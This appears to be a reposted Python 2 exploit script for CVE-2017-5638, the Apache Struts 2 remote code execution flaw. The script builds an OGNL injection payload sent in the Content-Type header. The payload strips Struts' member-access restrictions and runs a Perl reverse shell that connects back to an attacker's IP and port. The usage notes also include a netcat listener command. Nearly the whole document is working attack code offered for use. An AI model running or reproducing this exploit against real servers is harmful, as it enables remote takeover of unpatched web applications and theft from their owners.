###########################

# Apache Struts 2 2.3.x And 2.5.x Remote Code Execution Vulnerability

###########################

# CVE-2017-5638
# Apache Struts 2 Vulnerability Remote Code Execution
# Reverse shell from target
# Author: anarc0der - github.com/anarcoder
# Tested with tomcat8

# Install tomcat8
# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638

# Ex:
# Open: $ nc -lnvp 4444
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444

"""
Usage:
    struntsrce.py --target=<arg> --ip=<arg> --port=<arg>
    struntsrce.py --help
    struntsrce.py --version

Options:
    -h --help                                Open help menu
    -v --version                             Show version
Required options:
    --target='url target'                    your target :)
    --ip='10.10.10.1'                        your ip
    --port=4444                              open port for back connection

"""

import urllib2
import httplib
import os
import sys
from docopt import docopt, DocoptExit


class CVE_2017_5638():

    def __init__(self, p_target, p_ip, p_port):
        self.target = p_target
        self.ip = p_ip
        self.port = p_port
        self.revshell = self.generate_revshell()
        self.payload = self.generate_payload()
        self.exploit()

    def generate_revshell(self):
        revshell = "perl -e \\'use Socket;$i=\"{0}\";$p={1};"\
                   "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"\
                   "if(connect(S,sockaddr_in($p,inet_aton($i)))){{open"\
                   "(STDIN,\">&S\");open(STDOUT,\">&S\");"\
                   "open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};\\'"
        return revshell.format(self.ip, self.port)

    def generate_payload(self):
        payload = "%{{(#_='multipart/form-data')."\
                  "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\
                  "(#_memberAccess?"\
                  "(#_memberAccess=#dm):"\
                  "((#container=#context['com.opensymphony.xwork2."\
                  "ActionContext.container'])."\
                  "(#ognlUtil=#container.getInstance(@com.opensymphony."\
                  "xwork2.ognl.OgnlUtil@class))."\
                  "(#ognlUtil.getExcludedPackageNames().clear())."\
                  "(#ognlUtil.getExcludedClasses().clear())."\
                  "(#context.setMemberAccess(#dm))))."\
                  "(#cmd='{0}')."\
                  "(#iswin=(@java.lang.System@getProperty('os.name')."\
                  "toLowerCase().contains('win')))."\
                  "(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:"\
                  "{{'/bin/bash','-c',#cmd}}))."\
                  "(#p=new java.lang.ProcessBuilder(#cmds))."\
                  "(#p.redirectErrorStream(true)).(#process=#p.start())."\
                  "(#ros=(@org.apache.struts2.ServletActionContext@get"\
                  "Response().getOutputStream()))."\
                  "(@org.apache.commons.io.IOUtils@copy"\
                  "(#process.getInputStream(),#ros)).(#ros.flush())}}"
        return payload.format(self.revshell)

    def exploit(self):
        try:
            # Set proxy for debug request, just uncomment these lines 
            # Change the proxy port

            #proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})
            #opener = urllib2.build_opener(proxy)
            #urllib2.install_opener(opener)

            headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'
                                     ' AppleWebKit/537.36 (KHTML, like Gecko)'
                                     ' Chrome/55.0.2883.87 Safari/537.36',
                       'Content-Type': self.payload}
            xpl = urllib2.Request(self.target, headers=headers)
            body = urllib2.urlopen(xpl).read()
        except httplib.IncompleteRead as b:
            body = b.partial
        print body


def main():
    try:
        arguments = docopt(__doc__, version="Apache Strunts RCE Exploit")
        target = arguments['--target']
        ip = arguments['--ip']
        port = arguments['--port']
    except DocoptExit as e:
        os.system('python struntsrce.py --help')
        sys.exit(1)

    CVE_2017_5638(target, ip, port)


if __name__ == '__main__':
    main()

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2017-03-13]

###########################